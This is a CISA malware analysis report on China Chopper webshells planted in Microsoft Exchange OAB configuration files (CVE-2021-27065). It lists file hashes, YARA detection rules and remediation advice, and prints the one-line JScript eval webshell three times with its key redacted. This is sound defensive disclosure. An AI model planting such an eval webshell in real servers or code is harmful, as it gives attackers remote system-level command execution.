MAR-10329494-1.v1: China Chopper Webshell

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

For a downloadable copy of IOCs, see: MAR-10329494-1.v1.stix.

Description

Four files were submitted to CISA for analysis. All of the files are modified Offline Address Book (OAB) Virtual Directories (VD) configuration files for Microsoft Exchange Servers. Three of the files have been modified with a variant of the "China Chopper" webshell. The last file is modified with an authentication key. The modifications allow an attacker to remotely access the server and execute arbitrary code on the system(s).

Submitted Files (4)

0c5fd2b5d1bfe5ffca2784541c9ce2ad3d22a9cb64d941a8439ec1b2a411f7f8 (McYhCzdb.aspx)

138f0a63c9a69b35195c49189837e899433b451f98ff72c515133d396d515659 (0q1iS7mn.aspx)

36149efb63a0100f4fb042ad179945aab1939bcbf8b337ab08b62083c38642ac (8aUco9ZK.aspx)

508ac97ea751daebe8a99fa915144036369fc9e831697731bf57c07f32db01e8 (ogu7zFil.aspx)

138f0a63c9a69b35195c49189837e899433b451f98ff72c515133d396d515659

Tags

backdoortrojanwebshell

Details

Antivirus

YARA Rules

• rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Webshellz"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s1 = { 65 76 61 6C 28 }
  
         $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
         $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
     condition:
  
         $s0 or ($s1 and $s2) or ($s3 and $s4)
  
  }
• rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
  
         $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
  
         $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
  
     condition:
  
         $s0 and $s1 and $s2
  
  }

ssdeep Matches

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in Internet Information Services (IIS) on Microsoft Exchange servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.



The ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the virtual directory from outside the firewall has been replaced with the following code:



--Begin Code--

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED"],"unsafe");}</script>

--End Code--



Note: The hard-coded key used for authentication was redacted from the code above.



This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

0c5fd2b5d1bfe5ffca2784541c9ce2ad3d22a9cb64d941a8439ec1b2a411f7f8

Tags

backdoortrojanwebshell

Details

Antivirus

YARA Rules

• rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Webshellz"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s1 = { 65 76 61 6C 28 }
  
         $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
         $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
     condition:
  
         $s0 or ($s1 and $s2) or ($s3 and $s4)
  
  }
• rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
  
         $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
  
         $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
  
     condition:
  
         $s0 and $s1 and $s2
  
  }

ssdeep Matches

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in IIS on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.



The ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been replaced with the following code:



--Begin Code--

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>

--End Code--



Note: The hard-coded key used for authentication was redacted from the code above.



This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

36149efb63a0100f4fb042ad179945aab1939bcbf8b337ab08b62083c38642ac

Tags

backdoortrojanwebshell

Details

Antivirus

YARA Rules

• rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Webshellz"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s1 = { 65 76 61 6C 28 }
  
         $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
         $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
     condition:
  
         $s0 or ($s1 and $s2) or ($s3 and $s4)
  
  }
• rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
  
         $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
  
         $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
  
     condition:
  
         $s0 and $s1 and $s2
  
  }

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in IIS on Microsoft Exchange Servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.



The ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been replaced with the following code:



--Begin Code--

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>

--End Code--



Note: The hard-coded key used for authentication was redacted from the code above.



This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

508ac97ea751daebe8a99fa915144036369fc9e831697731bf57c07f32db01e8

Tags

backdoor

Details

Antivirus

YARA Rules

• rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
  
         $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
  
         $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
  
     condition:
  
         $s0 and $s1 and $s2
  
  }

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit a OAB VD in IIS on Microsoft Exchange servers. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. The configuration has been modified with a key in the 'ExternalUrl' field. The key is most likely used for authentication to the server.

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
• Monitor users' web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

• 1-888-282-0870
• CISA Central (UNCLASS)
• CISA SIPR (SIPRNET)
• CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Central.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

• Web: https://malware.us-cert.gov
• E-Mail: submit@malware.us-cert.gov
• FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.